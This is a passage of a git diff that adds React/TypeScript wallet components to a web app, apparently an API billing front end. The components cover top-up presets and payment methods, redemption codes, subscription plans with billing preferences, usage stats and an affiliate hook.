+                            onClick={() => onSelectPreset(preset)}
+                          >
+                            <div className='flex w-full items-center justify-between'>
+                              <div className='text-lg font-semibold'>
+                                {formatNumber(displayValue)}
+                              </div>
+                              {hasDiscount && (
+                                <div className='text-xs font-medium text-green-600'>
+                                  {getDiscountLabel(discount)}
+                                </div>
+                              )}
+                            </div>
+                            <div className='text-muted-foreground mt-2 w-full text-xs'>
+                              Pay {formatCurrency(actualPrice)}
+                              {hasDiscount && savedAmount > 0 && (
+                                <span className='text-green-600'>
+                                  {' '}
+                                  • Save {formatCurrency(savedAmount)}
+                                </span>
+                              )}
+                            </div>
+                          </Button>
+                        )
+                      })}
+                    </div>
+                  </div>
+                )}
+
+                <div className='space-y-3'>
+                  <Label
+                    htmlFor='topup-amount'
+                    className='text-muted-foreground text-xs font-medium tracking-wider uppercase'
+                  >
+                    {t('Custom Amount')}
+                  </Label>
+                  <div className='grid gap-3 lg:grid-cols-[minmax(0,1fr)_auto] lg:items-center'>
+                    <Input
+                      id='topup-amount'
+                      type='number'
+                      value={localAmount}
+                      onChange={(e) => handleAmountChange(e.target.value)}
+                      min={minTopup}
+                      placeholder={`Minimum ${minTopup}`}
+                      className='text-lg'
+                    />
+                    <div className='bg-muted/30 flex min-h-10 items-center justify-between gap-3 rounded-md border px-3 lg:min-w-52'>
+                      <span className='text-muted-foreground text-xs'>
+                        {t('Amount to pay:')}
+                      </span>
+                      {calculating ? (
+                        <Skeleton className='h-5 w-16' />
+                      ) : (
+                        <span className='text-sm font-semibold'>
+                          {formatCurrency(paymentAmount)}
+                        </span>
+                      )}
+                    </div>
+                  </div>
+                </div>
+
+                <div className='space-y-3'>
+                  <Label className='text-muted-foreground text-xs font-medium tracking-wider uppercase'>
+                    {t('Payment Method')}
+                  </Label>
+                  {hasStandardPaymentMethods ? (
+                    <div className='grid grid-cols-1 gap-3 sm:grid-cols-2 lg:grid-cols-3'>
+                      {topupInfo?.pay_methods?.map((method) => {
+                        const minTopup = method.min_topup || 0
+                        const disabled = minTopup > topupAmount
+
+                        const button = (
+                          <Button
+                            key={method.type}
+                            variant='outline'
+                            onClick={() => onPaymentMethodSelect(method)}
+                            disabled={disabled || !!paymentLoading}
+                            className='justify-start gap-2 rounded-lg'
+                          >
+                            {paymentLoading === method.type ? (
+                              <Loader2 className='h-4 w-4 animate-spin' />
+                            ) : (
+                              getPaymentIcon(
+                                method.type,
+                                'h-4 w-4',
+                                method.icon,
+                                method.name
+                              )
+                            )}
+                            {method.name}
+                          </Button>
+                        )
+
+                        return disabled ? (
+                          <TooltipProvider key={method.type}>
+                            <Tooltip>
+                              <TooltipTrigger asChild>{button}</TooltipTrigger>
+                              <TooltipContent>
+                                {t('Minimum topup amount: {{amount}}', {
+                                  amount: minTopup,
+                                })}
+                              </TooltipContent>
+                            </Tooltip>
+                          </TooltipProvider>
+                        ) : (
+                          button
+                        )
+                      })}
+                    </div>
+                  ) : hasWaffoPaymentMethods ? null : (
+                    <Alert>
+                      <AlertDescription>
+                        {t(
+                          'No payment methods available. Please contact administrator.'
+                        )}
+                      </AlertDescription>
+                    </Alert>
+                  )}
+                </div>
+
+                {enableWaffoTopup &&
+                  hasWaffoPaymentMethods &&
+                  onWaffoMethodSelect && (
+                    <div className='space-y-3'>
+                      <Label className='text-muted-foreground text-xs font-medium tracking-wider uppercase'>
+                        {t('Waffo Payment')}
+                      </Label>
+                      <div className='grid grid-cols-1 gap-3 sm:grid-cols-2 lg:grid-cols-3'>
+                        {waffoPayMethods?.map((method, index) => {
+                          const loadingKey = `waffo-${index}`
+                          const waffoMin = waffoMinTopup || 0
+                          const belowMin = waffoMin > topupAmount
+
+                          const button = (
+                            <Button
+                              key={`${method.name}-${index}`}
+                              variant='outline'
+                              onClick={() => onWaffoMethodSelect(method, index)}
+                              disabled={belowMin || !!paymentLoading}
+                              className='justify-start gap-2 rounded-lg'
+                            >
+                              {paymentLoading === loadingKey ? (
+                                <Loader2 className='h-4 w-4 animate-spin' />
+                              ) : method.icon ? (
+                                <img
+                                  src={method.icon}
+                                  alt={method.name}
+                                  className='h-4 w-4 object-contain'
+                                />
+                              ) : (
+                                getPaymentIcon('waffo')
+                              )}
+                              {method.name}
+                            </Button>
+                          )
+
+                          return belowMin ? (
+                            <TooltipProvider key={`${method.name}-${index}`}>
+                              <Tooltip>
+                                <TooltipTrigger asChild>
+                                  {button}
+                                </TooltipTrigger>
+                                <TooltipContent>
+                                  {t('Minimum topup amount: {{amount}}', {
+                                    amount: waffoMin,
+                                  })}
+                                </TooltipContent>
+                              </Tooltip>
+                            </TooltipProvider>
+                          ) : (
+                            button
+                          )
+                        })}
+                      </div>
+                    </div>
+                  )}
+              </>
+            )}
+          </div>
+        ) : (
+          <Alert>
+            <AlertDescription>
+              {t(
+                'Online topup is not enabled. Please use redemption code or contact administrator.'
+              )}
+            </AlertDescription>
+          </Alert>
+        )}
+
+        {/* Creem Products Section */}
+        {enableCreemTopup &&
+          Array.isArray(creemProducts) &&
+          creemProducts.length > 0 &&
+          onCreemProductSelect && (
+            <div className='space-y-3 border-t pt-6'>
+              <Label className='text-muted-foreground text-xs font-medium tracking-wider uppercase'>
+                {t('Creem Payment')}
+              </Label>
+              <CreemProductsSection
+                products={creemProducts}
+                onProductSelect={onCreemProductSelect}
+              />
+            </div>
+          )}
+
+        {/* Redemption Code Section */}
+        <div className='space-y-3 border-t pt-6'>
+          <div className='flex items-center gap-2'>
+            <Gift className='text-muted-foreground h-4 w-4' />
+            <Label
+              htmlFor='redemption-code'
+              className='text-muted-foreground text-xs font-medium tracking-wider uppercase'
+            >
+              {t('Have a Code?')}
+            </Label>
+          </div>
+          <div className='flex flex-col gap-2 sm:flex-row'>
+            <Input
+              id='redemption-code'
+              value={redemptionCode}
+              onChange={(e) => onRedemptionCodeChange(e.target.value)}
+              placeholder={t('Enter your redemption code')}
+              className='flex-1'
+            />
+            <Button
+              onClick={onRedeem}
+              disabled={redeeming}
+              variant='outline'
+              className='sm:w-auto'
+            >
+              {redeeming && <Loader2 className='mr-2 h-4 w-4 animate-spin' />}
+              {t('Redeem')}
+            </Button>
+          </div>
+          {topupLink && (
+            <p className='text-muted-foreground text-xs'>
+              {t('Need a code?')}{' '}
+              <a
+                href={topupLink}
+                target='_blank'
+                rel='noopener noreferrer'
+                className='inline-flex items-center gap-1 underline-offset-4 hover:underline'
+              >
+                {t('Purchase here')}
+                <ExternalLink className='h-3 w-3' />
+              </a>
+            </p>
+          )}
+        </div>
+      </CardContent>
+    </Card>
+  )
+}
diff --git a/new-api/web/default/src/features/wallet/components/subscription-plans-card.tsx b/new-api/web/default/src/features/wallet/components/subscription-plans-card.tsx
new file mode 100644
index 0000000..fe59fe0
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/components/subscription-plans-card.tsx
@@ -0,0 +1,600 @@
+import { useState, useEffect, useMemo, useCallback } from 'react'
+import { Crown, RefreshCw, Sparkles, Check } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { formatQuota } from '@/lib/format'
+import { cn } from '@/lib/utils'
+import { useStatus } from '@/hooks/use-status'
+import { Button } from '@/components/ui/button'
+import {
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+} from '@/components/ui/card'
+import { Progress } from '@/components/ui/progress'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import { Separator } from '@/components/ui/separator'
+import { Skeleton } from '@/components/ui/skeleton'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+import {
+  StatusBadge,
+  dotColorMap,
+  textColorMap,
+} from '@/components/status-badge'
+import {
+  getPublicPlans,
+  getSelfSubscriptionFull,
+  updateBillingPreference,
+} from '@/features/subscriptions/api'
+import { SubscriptionPurchaseDialog } from '@/features/subscriptions/components/dialogs/subscription-purchase-dialog'
+import { formatDuration, formatResetPeriod } from '@/features/subscriptions/lib'
+import type {
+  PlanRecord,
+  UserSubscriptionRecord,
+} from '@/features/subscriptions/types'
+import type { PaymentMethod, TopupInfo } from '../types'
+
+interface SubscriptionPlansCardProps {
+  topupInfo: TopupInfo | null
+}
+
+function getEpayMethods(payMethods: PaymentMethod[] = []): PaymentMethod[] {
+  return payMethods.filter(
+    (m) => m?.type && m.type !== 'stripe' && m.type !== 'creem'
+  )
+}
+
+export function SubscriptionPlansCard(props: SubscriptionPlansCardProps) {
+  const { t } = useTranslation()
+  const { status } = useStatus()
+
+  const [plans, setPlans] = useState<PlanRecord[]>([])
+  const [activeSubscriptions, setActiveSubscriptions] = useState<
+    UserSubscriptionRecord[]
+  >([])
+  const [allSubscriptions, setAllSubscriptions] = useState<
+    UserSubscriptionRecord[]
+  >([])
+  const [billingPreference, setBillingPreference] =
+    useState('subscription_first')
+  const [loading, setLoading] = useState(true)
+  const [refreshing, setRefreshing] = useState(false)
+
+  const [purchaseOpen, setPurchaseOpen] = useState(false)
+  const [selectedPlan, setSelectedPlan] = useState<PlanRecord | null>(null)
+
+  const enableStripe = !!status?.enable_stripe_topup
+  const enableCreem = !!props.topupInfo?.enable_creem_topup
+  const enableOnlineTopUp = !!status?.enable_online_topup
+  const epayMethods = useMemo(
+    () => getEpayMethods(props.topupInfo?.pay_methods),
+    [props.topupInfo?.pay_methods]
+  )
+
+  const fetchPlans = useCallback(async () => {
+    try {
+      const res = await getPublicPlans()
+      if (res.success) {
+        setPlans(res.data || [])
+      }
+    } catch {
+      setPlans([])
+    }
+  }, [])
+
+  const fetchSelfSubscription = useCallback(async () => {
+    try {
+      const res = await getSelfSubscriptionFull()
+      if (res.success && res.data) {
+        setBillingPreference(
+          res.data.billing_preference || 'subscription_first'
+        )
+        setActiveSubscriptions(res.data.subscriptions || [])
+        setAllSubscriptions(res.data.all_subscriptions || [])
+      }
+    } catch {
+      // ignore
+    }
+  }, [])
+
+  useEffect(() => {
+    const init = async () => {
+      setLoading(true)
+      await Promise.all([fetchPlans(), fetchSelfSubscription()])
+      setLoading(false)
+    }
+    init()
+  }, [fetchPlans, fetchSelfSubscription])
+
+  const handleRefresh = async () => {
+    setRefreshing(true)
+    try {
+      await fetchSelfSubscription()
+    } finally {
+      setRefreshing(false)
+    }
+  }
+
+  const handlePreferenceChange = async (pref: string) => {
+    const previous = billingPreference
+    setBillingPreference(pref)
+    try {
+      const res = await updateBillingPreference(pref)
+      if (res.success) {
+        toast.success(t('Updated successfully'))
+        const normalized = res.data?.billing_preference || pref
+        setBillingPreference(normalized)
+      } else {
+        toast.error(res.message || t('Update failed'))
+        setBillingPreference(previous)
+      }
+    } catch {
+      toast.error(t('Request failed'))
+      setBillingPreference(previous)
+    }
+  }
+
+  const hasActive = activeSubscriptions.length > 0
+  const hasAny = allSubscriptions.length > 0
+  const disablePref = !hasActive
+  const isSubPref =
+    billingPreference === 'subscription_first' ||
+    billingPreference === 'subscription_only'
+  const displayPref =
+    disablePref && isSubPref ? 'wallet_first' : billingPreference
+
+  const planPurchaseCountMap = useMemo(() => {
+    const map = new Map<number, number>()
+    for (const sub of allSubscriptions) {
+      const planId = sub?.subscription?.plan_id
+      if (!planId) continue
+      map.set(planId, (map.get(planId) || 0) + 1)
+    }
+    return map
+  }, [allSubscriptions])
+
+  const planTitleMap = useMemo(() => {
+    const map = new Map<number, string>()
+    for (const p of plans) {
+      if (p?.plan?.id) {
+        map.set(p.plan.id, p.plan.title || '')
+      }
+    }
+    return map
+  }, [plans])
+
+  const getRemainingDays = (sub: UserSubscriptionRecord) => {
+    const endTime = sub?.subscription?.end_time || 0
+    if (!endTime) return 0
+    const now = Date.now() / 1000
+    return Math.max(0, Math.ceil((endTime - now) / 86400))
+  }
+
+  const getUsagePercent = (sub: UserSubscriptionRecord) => {
+    const total = Number(sub?.subscription?.amount_total || 0)
+    const used = Number(sub?.subscription?.amount_used || 0)
+    if (total <= 0) return 0
+    return Math.round((used / total) * 100)
+  }
+
+  if (loading) {
+    return (
+      <Card className='overflow-hidden'>
+        <CardHeader className='border-b'>
+          <Skeleton className='h-6 w-32' />
+        </CardHeader>
+        <CardContent className='space-y-4 pt-6'>
+          <Skeleton className='h-20 w-full' />
+          <div className='grid grid-cols-1 gap-4 sm:grid-cols-2 xl:grid-cols-3'>
+            {Array.from({ length: 3 }).map((_, i) => (
+              <Skeleton key={i} className='h-48 w-full' />
+            ))}
+          </div>
+        </CardContent>
+      </Card>
+    )
+  }
+
+  if (plans.length === 0 && !hasAny) {
+    return null
+  }
+
+  return (
+    <>
+      <Card className='overflow-hidden'>
+        <CardHeader className='border-b'>
+          <div className='flex items-center gap-3'>
+            <div className='bg-muted flex h-9 w-9 shrink-0 items-center justify-center rounded-lg'>
+              <Crown className='h-4 w-4' />
+            </div>
+            <div className='min-w-0'>
+              <CardTitle className='text-xl tracking-tight'>
+                {t('Subscription Plans')}
+              </CardTitle>
+              <CardDescription>
+                {t('Purchase a plan to enjoy model benefits')}
+              </CardDescription>
+            </div>
+          </div>
+        </CardHeader>
+        <CardContent className='space-y-5 pt-6'>
+          {/* My subscriptions & billing preference */}
+          <div className='rounded-xl border p-4'>
+            <div className='flex flex-wrap items-center justify-between gap-3'>
+              <div className='flex items-center gap-2'>
+                <span className='text-sm font-medium'>
+                  {t('My Subscriptions')}
+                </span>
+                <span className='flex items-center gap-1.5 text-xs font-medium'>
+                  <span
+                    className={cn(
+                      'size-1.5 shrink-0 rounded-full',
+                      hasActive ? dotColorMap.success : dotColorMap.neutral
+                    )}
+                    aria-hidden='true'
+                  />
+                  {hasActive ? (
+                    <span className={cn(textColorMap.success)}>
+                      {activeSubscriptions.length} {t('active')}
+                    </span>
+                  ) : (
+                    <span className='text-muted-foreground'>
+                      {t('No Active')}
+                    </span>
+                  )}
+                  {allSubscriptions.length > activeSubscriptions.length && (
+                    <>
+                      <span className='text-muted-foreground/30'>·</span>
+                      <span className='text-muted-foreground'>
+                        {allSubscriptions.length - activeSubscriptions.length}{' '}
+                        {t('expired')}
+                      </span>
+                    </>
+                  )}
+                </span>
+              </div>
+              <div className='flex items-center gap-2'>
+                <Select
+                  value={displayPref}
+                  onValueChange={handlePreferenceChange}
+                >
+                  <SelectTrigger className='h-8 w-[140px] text-xs'>
+                    <SelectValue />
+                  </SelectTrigger>
+                  <SelectContent>
+                    <SelectItem
+                      value='subscription_first'
+                      disabled={disablePref}
+                    >
+                      {t('Subscription First')}
+                      {disablePref ? ` (${t('No Active')})` : ''}
+                    </SelectItem>
+                    <SelectItem value='wallet_first'>
+                      {t('Wallet First')}
+                    </SelectItem>
+                    <SelectItem
+                      value='subscription_only'
+                      disabled={disablePref}
+                    >
+                      {t('Subscription Only')}
+                      {disablePref ? ` (${t('No Active')})` : ''}
+                    </SelectItem>
+                    <SelectItem value='wallet_only'>
+                      {t('Wallet Only')}
+                    </SelectItem>
+                  </SelectContent>
+                </Select>
+                <Button
+                  variant='ghost'
+                  size='icon'
+                  className='h-8 w-8'
+                  onClick={handleRefresh}
+                  disabled={refreshing}
+                >
+                  <RefreshCw
+                    className={`h-3.5 w-3.5 ${refreshing ? 'animate-spin' : ''}`}
+                  />
+                </Button>
+              </div>
+            </div>
+
+            {disablePref && isSubPref && (
+              <p className='text-muted-foreground mt-2 text-xs'>
+                {t(
+                  'Preference saved as {{pref}}, but no active subscription. Wallet will be used automatically.',
+                  {
+                    pref:
+                      billingPreference === 'subscription_only'
+                        ? t('Subscription Only')
+                        : t('Subscription First'),
+                  }
+                )}
+              </p>
+            )}
+
+            {hasAny && (
+              <>
+                <Separator className='my-3' />
+                <div className='max-h-64 space-y-3 overflow-y-auto pr-1'>
+                  {allSubscriptions.map((sub) => {
+                    const subscription = sub.subscription
+                    const totalAmount = Number(subscription?.amount_total || 0)
+                    const usedAmount = Number(subscription?.amount_used || 0)
+                    const remainAmount =
+                      totalAmount > 0
+                        ? Math.max(0, totalAmount - usedAmount)
+                        : 0
+                    const planTitle =
+                      planTitleMap.get(subscription?.plan_id) || ''
+                    const remainDays = getRemainingDays(sub)
+                    const usagePercent = getUsagePercent(sub)
+                    const now = Date.now() / 1000
+                    const isExpired = (subscription?.end_time || 0) < now
+                    const isCancelled = subscription?.status === 'cancelled'
+                    const isActive =
+                      subscription?.status === 'active' && !isExpired
+
+                    return (
+                      <div
+                        key={subscription?.id}
+                        className='bg-background rounded-md border p-3 text-xs'
+                      >
+                        <div className='flex items-center justify-between'>
+                          <div className='flex items-center gap-2'>
+                            <span className='font-medium'>
+                              {planTitle
+                                ? `${planTitle} · ${t('Subscription')} #${subscription?.id}`
+                                : `${t('Subscription')} #${subscription?.id}`}
+                            </span>
+                            {isActive ? (
+                              <StatusBadge
+                                label={t('Active')}
+                                variant='success'
+                                copyable={false}
+                              />
+                            ) : isCancelled ? (
+                              <StatusBadge
+                                label={t('Cancelled')}
+                                variant='neutral'
+                                copyable={false}
+                              />
+                            ) : (
+                              <StatusBadge
+                                label={t('Expired')}
+                                variant='neutral'
+                                copyable={false}
+                              />
+                            )}
+                          </div>
+                          {isActive && (
+                            <span className='text-muted-foreground'>
+                              {t('{{count}} days remaining', {
+                                count: remainDays,
+                              })}
+                            </span>
+                          )}
+                        </div>
+                        <div className='text-muted-foreground mt-1.5'>
+                          {isActive
+                            ? t('Until')
+                            : isCancelled
+                              ? t('Cancelled at')
+                              : t('Expired at')}{' '}
+                          {new Date(
+                            (subscription?.end_time || 0) * 1000
+                          ).toLocaleString()}
+                        </div>
+                        {isActive &&
+                          (subscription?.next_reset_time ?? 0) > 0 && (
+                            <div className='text-muted-foreground mt-1'>
+                              {t('Next reset')}:{' '}
+                              {new Date(
+                                subscription!.next_reset_time! * 1000
+                              ).toLocaleString()}
+                            </div>
+                          )}
+                        <div className='text-muted-foreground mt-1'>
+                          {t('Total Quota')}:{' '}
+                          {totalAmount > 0 ? (
+                            <Tooltip>
+                              <TooltipTrigger asChild>
+                                <span className='cursor-help'>
+                                  {formatQuota(usedAmount)}/
+                                  {formatQuota(totalAmount)} · {t('Remaining')}{' '}
+                                  {formatQuota(remainAmount)}
+                                </span>
+                              </TooltipTrigger>
+                              <TooltipContent>
+                                {t('Raw Quota')}: {usedAmount}/{totalAmount} ·{' '}
+                                {t('Remaining')} {remainAmount}
+                              </TooltipContent>
+                            </Tooltip>
+                          ) : (
+                            t('Unlimited')
+                          )}
+                          {totalAmount > 0 && (
+                            <span className='ml-2'>
+                              {t('Used')} {usagePercent}%
+                            </span>
+                          )}
+                        </div>
+                        {totalAmount > 0 && isActive && (
+                          <Progress
+                            value={usagePercent}
+                            className='mt-2 h-1.5'
+                          />
+                        )}
+                      </div>
+                    )
+                  })}
+                </div>
+              </>
+            )}
+
+            {!hasAny && (
+              <p className='text-muted-foreground mt-2 text-xs'>
+                {t('Purchase a plan to enjoy model benefits')}
+              </p>
+            )}
+          </div>
+
+          {/* Available plans grid */}
+          {plans.length > 0 ? (
+            <div className='grid grid-cols-1 gap-4 sm:grid-cols-2 xl:grid-cols-3'>
+              {plans.map((p, index) => {
+                const plan = p?.plan
+                if (!plan) return null
+                const totalAmount = Number(plan.total_amount || 0)
+                const price = Number(plan.price_amount || 0).toFixed(2)
+                const isPopular = index === 0 && plans.length > 1
+                const limit = Number(plan.max_purchase_per_user || 0)
+                const count = planPurchaseCountMap.get(plan.id) || 0
+                const reached = limit > 0 && count >= limit
+
+                const benefits = [
+                  `${t('Validity Period')}: ${formatDuration(plan, t)}`,
+                  formatResetPeriod(plan, t) !== t('No Reset')
+                    ? `${t('Quota Reset')}: ${formatResetPeriod(plan, t)}`
+                    : null,
+                  totalAmount > 0
+                    ? `${t('Total Quota')}: ${formatQuota(totalAmount)}`
+                    : `${t('Total Quota')}: ${t('Unlimited')}`,
+                  limit > 0 ? `${t('Purchase Limit')}: ${limit}` : null,
+                  plan.upgrade_group
+                    ? `${t('Upgrade Group')}: ${plan.upgrade_group}`
+                    : null,
+                ].filter(Boolean) as string[]
+
+                return (
+                  <Card
+                    key={plan.id}
+                    className={cn(
+                      'transition-shadow hover:shadow-md',
+                      isPopular && 'border-primary/70 shadow-sm'
+                    )}
+                  >
+                    <CardContent className='flex h-full flex-col p-4'>
+                      <div className='mb-2 flex items-start justify-between gap-3'>
+                        <div className='min-w-0'>
+                          <h4 className='truncate font-semibold'>
+                            {plan.title || t('Subscription Plans')}
+                          </h4>
+                          {plan.subtitle && (
+                            <p className='text-muted-foreground truncate text-xs'>
+                              {plan.subtitle}
+                            </p>
+                          )}
+                        </div>
+                        {isPopular && (
+                          <StatusBadge
+                            variant='info'
+                            copyable={false}
+                            className='shrink-0'
+                          >
+                            <Sparkles className='h-3 w-3' />
+                            {t('Recommended')}
+                          </StatusBadge>
+                        )}
+                      </div>
+
+                      <div className='py-2'>
+                        <span className='text-primary text-2xl font-bold'>
+                          ${price}
+                        </span>
+                      </div>
+
+                      <div className='flex-1 space-y-1.5 pb-3'>
+                        {benefits.map((label) => (
+                          <div
+                            key={label}
+                            className='text-muted-foreground flex items-center gap-2 text-xs'
+                          >
+                            <Check className='text-primary h-3 w-3 shrink-0' />
+                            <span>{label}</span>
+                          </div>
+                        ))}
+                      </div>
+
+                      <Separator className='mb-3' />
+
+                      {reached ? (
+                        <Tooltip>
+                          <TooltipTrigger asChild>
+                            <div>
+                              <Button
+                                variant='outline'
+                                className='w-full'
+                                disabled
+                              >
+                                {t('Limit Reached')}
+                              </Button>
+                            </div>
+                          </TooltipTrigger>
+                          <TooltipContent>
+                            {t('Purchase limit reached')} ({count}/{limit})
+                          </TooltipContent>
+                        </Tooltip>
+                      ) : (
+                        <Button
+                          variant='outline'
+                          className='w-full'
+                          onClick={() => {
+                            setSelectedPlan(p)
+                            setPurchaseOpen(true)
+                          }}
+                        >
+                          {t('Subscribe Now')}
+                        </Button>
+                      )}
+                    </CardContent>
+                  </Card>
+                )
+              })}
+            </div>
+          ) : (
+            <p className='text-muted-foreground py-4 text-center text-sm'>
+              {t('No plans available')}
+            </p>
+          )}
+        </CardContent>
+      </Card>
+
+      <SubscriptionPurchaseDialog
+        open={purchaseOpen}
+        onOpenChange={(open) => {
+          setPurchaseOpen(open)
+          if (!open) {
+            fetchSelfSubscription()
+          }
+        }}
+        plan={selectedPlan}
+        enableStripe={enableStripe}
+        enableCreem={enableCreem}
+        enableOnlineTopUp={enableOnlineTopUp}
+        epayMethods={epayMethods}
+        purchaseLimit={
+          selectedPlan?.plan?.max_purchase_per_user
+            ? Number(selectedPlan.plan.max_purchase_per_user)
+            : undefined
+        }
+        purchaseCount={
+          selectedPlan?.plan?.id
+            ? planPurchaseCountMap.get(selectedPlan.plan.id)
+            : undefined
+        }
+      />
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/wallet/components/wallet-stats-card.tsx b/new-api/web/default/src/features/wallet/components/wallet-stats-card.tsx
new file mode 100644
index 0000000..b679a54
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/components/wallet-stats-card.tsx
@@ -0,0 +1,74 @@
+import { Activity, BarChart3, WalletCards } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { formatQuota } from '@/lib/format'
+import { Skeleton } from '@/components/ui/skeleton'
+import type { UserWalletData } from '../types'
+
+interface WalletStatsCardProps {
+  user: UserWalletData | null
+  loading?: boolean
+}
+
+export function WalletStatsCard(props: WalletStatsCardProps) {
+  const { t } = useTranslation()
+  if (props.loading) {
+    return (
+      <div className='overflow-hidden rounded-lg border'>
+        <div className='divide-border/60 grid grid-cols-1 divide-y sm:grid-cols-3 sm:divide-x sm:divide-y-0'>
+          {Array.from({ length: 3 }).map((_, i) => (
+            <div key={i} className='px-4 py-3.5 sm:px-5 sm:py-4'>
+              <Skeleton className='h-3.5 w-20' />
+              <Skeleton className='mt-2 h-7 w-28' />
+              <Skeleton className='mt-1.5 h-3.5 w-24' />
+            </div>
+          ))}
+        </div>
+      </div>
+    )
+  }
+
+  const stats = [
+    {
+      label: t('Current Balance'),
+      value: formatQuota(props.user?.quota ?? 0),
+      description: t('Remaining quota'),
+      icon: WalletCards,
+    },
+    {
+      label: t('Total Usage'),
+      value: formatQuota(props.user?.used_quota ?? 0),
+      description: t('Total consumed quota'),
+      icon: BarChart3,
+    },
+    {
+      label: t('API Requests'),
+      value: (props.user?.request_count ?? 0).toLocaleString(),
+      description: t('Total requests made'),
+      icon: Activity,
+    },
+  ]
+
+  return (
+    <div className='overflow-hidden rounded-lg border'>
+      <div className='divide-border/60 grid grid-cols-1 divide-y sm:grid-cols-3 sm:divide-x sm:divide-y-0'>
+        {stats.map((item) => (
+          <div key={item.label} className='px-4 py-3.5 sm:px-5 sm:py-4'>
+            <div className='flex items-center gap-2'>
+              <item.icon className='text-muted-foreground/60 size-3.5 shrink-0' />
+              <div className='text-muted-foreground truncate text-xs font-medium tracking-wider uppercase'>
+                {item.label}
+              </div>
+            </div>
+
+            <div className='text-foreground mt-2 font-mono text-2xl font-bold tracking-tight break-all tabular-nums'>
+              {item.value}
+            </div>
+            <div className='text-muted-foreground/60 mt-1 hidden text-xs md:block'>
+              {item.description}
+            </div>
+          </div>
+        ))}
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/wallet/constants.ts b/new-api/web/default/src/features/wallet/constants.ts
new file mode 100644
index 0000000..99f601e
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/constants.ts
@@ -0,0 +1,53 @@
+// ============================================================================
+// Wallet Constants
+// ============================================================================
+
+/**
+ * Default preset amount multipliers
+ * Used to generate quick select amounts based on minimum topup
+ */
+export const DEFAULT_PRESET_MULTIPLIERS = [1, 5, 10, 30, 50, 100, 300, 500]
+
+/**
+ * Payment method types
+ */
+export const PAYMENT_TYPES = {
+  ALIPAY: 'alipay',
+  WECHAT: 'wxpay',
+  STRIPE: 'stripe',
+  CREEM: 'creem',
+  WAFFO: 'waffo',
+  WAFFO_PANCAKE: 'waffo_pancake',
+} as const
+
+/**
+ * Default payment type
+ */
+export const DEFAULT_PAYMENT_TYPE = PAYMENT_TYPES.ALIPAY
+
+/**
+ * Payment icon colors (HEX format for react-icons)
+ */
+export const PAYMENT_ICON_COLORS = {
+  [PAYMENT_TYPES.ALIPAY]: '#1677FF',
+  [PAYMENT_TYPES.WECHAT]: '#07C160',
+  [PAYMENT_TYPES.STRIPE]: '#635BFF',
+  [PAYMENT_TYPES.CREEM]: '#6366F1',
+  [PAYMENT_TYPES.WAFFO]: '#2563EB',
+  [PAYMENT_TYPES.WAFFO_PANCAKE]: '#F97316',
+} as const
+
+/**
+ * Quota conversion rate: 500,000 units = $1
+ */
+export const QUOTA_PER_DOLLAR = 500000
+
+/**
+ * Default discount rate (no discount)
+ */
+export const DEFAULT_DISCOUNT_RATE = 1.0
+
+/**
+ * Default minimum topup amount
+ */
+export const DEFAULT_MIN_TOPUP = 1
diff --git a/new-api/web/default/src/features/wallet/hooks/index.ts b/new-api/web/default/src/features/wallet/hooks/index.ts
new file mode 100644
index 0000000..e6fb951
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/hooks/index.ts
@@ -0,0 +1,11 @@
+// ============================================================================
+// Wallet Hooks Exports
+// ============================================================================
+
+export * from './use-topup-info'
+export * from './use-payment'
+export * from './use-affiliate'
+export * from './use-redemption'
+export * from './use-creem-payment'
+export * from './use-waffo-payment'
+export * from './use-waffo-pancake-payment'
diff --git a/new-api/web/default/src/features/wallet/hooks/use-affiliate.ts b/new-api/web/default/src/features/wallet/hooks/use-affiliate.ts
new file mode 100644
index 0000000..a1f2256
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/hooks/use-affiliate.ts
@@ -0,0 +1,79 @@
+import { useState, useEffect, useCallback } from 'react'
+import i18next from 'i18next'
+import { toast } from 'sonner'
+import { getSelf } from '@/lib/api'
+import { useCopyToClipboard } from '@/hooks/use-copy-to-clipboard'
+import { getAffiliateCode, transferAffiliateQuota } from '../api'
+import { generateAffiliateLink } from '../lib'
+
+// ============================================================================
+// Affiliate Hook
+// ============================================================================
+
+export function useAffiliate() {
+  const [affiliateCode, setAffiliateCode] = useState<string>('')
+  const [affiliateLink, setAffiliateLink] = useState<string>('')
+  const [loading, setLoading] = useState(true)
+  const [transferring, setTransferring] = useState(false)
+  const { copyToClipboard } = useCopyToClipboard()
+
+  // Fetch affiliate code
+  const fetchAffiliateCode = useCallback(async () => {
+    try {
+      setLoading(true)
+      const response = await getAffiliateCode()
+
+      if (response.success && response.data) {
+        setAffiliateCode(response.data)
+        const link = generateAffiliateLink(response.data)
+        setAffiliateLink(link)
+      }
+    } catch (error) {
+      // eslint-disable-next-line no-console
+      console.error('Failed to fetch affiliate code:', error)
+    } finally {
+      setLoading(false)
+    }
+  }, [])
+
+  // Copy affiliate link
+  const copyAffiliateLink = useCallback(() => {
+    copyToClipboard(affiliateLink)
+  }, [affiliateLink, copyToClipboard])
+
+  // Transfer affiliate quota to balance
+  const transferQuota = useCallback(async (quota: number): Promise<boolean> => {
+    try {
+      setTransferring(true)
+      const response = await transferAffiliateQuota({ quota })
+
+      if (response.success) {
+        toast.success(response.message || i18next.t('Transfer successful'))
+        await getSelf()
+        return true
+      }
+
+      toast.error(response.message || i18next.t('Transfer failed'))
+      return false
+    } catch (_error) {
+      toast.error(i18next.t('Transfer failed'))
+      return false
+    } finally {
+      setTransferring(false)
+    }
+  }, [])
+
+  useEffect(() => {
+    fetchAffiliateCode()
+  }, [fetchAffiliateCode])
+
+  return {
+    affiliateCode,
+    affiliateLink,
+    loading,
+    transferring,
+    copyAffiliateLink,
+    transferQuota,
+    refetch: fetchAffiliateCode,
+  }
+}
diff --git a/new-api/web/default/src/features/wallet/hooks/use-billing-history.ts b/new-api/web/default/src/features/wallet/hooks/use-billing-history.ts
new file mode 100644
